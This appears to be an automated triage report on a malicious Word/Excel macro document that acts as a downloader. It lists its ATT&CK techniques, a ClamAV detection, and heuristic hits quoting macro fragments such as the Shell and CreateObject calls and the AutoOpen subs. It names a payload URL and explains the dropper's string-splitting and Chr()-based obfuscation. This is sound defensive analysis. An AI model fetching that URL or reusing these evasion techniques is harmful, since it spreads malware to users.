MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The macros are obfuscated and use a CreateObject call to download a payload from several URLs, including http://suddhi.com/wp-content/plugins/wp-db-backup-made/kaka.txt. The presence of AutoOpen and Shell calls indicates an attempt to execute malicious code upon opening the document.

Heuristics 14

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    a = Shell(b, 0)
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Set objXML = CreateObject("" & QHDHUQW)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objXML = CreateObject("" & QHDHUQW)
  • Payload URL assembled from a Chr()/Asc() string expression (6 URLs) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Goabc = Environ(sps)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

Obfuscation or payload: likely
69 of 175 identifiers look randomly generated (e.g. 'Huwhdyqgyqwgdguqwgdhbdajhsbd'); 4 string-concatenation chain(s) — consistent with name-mangling obfuscation.
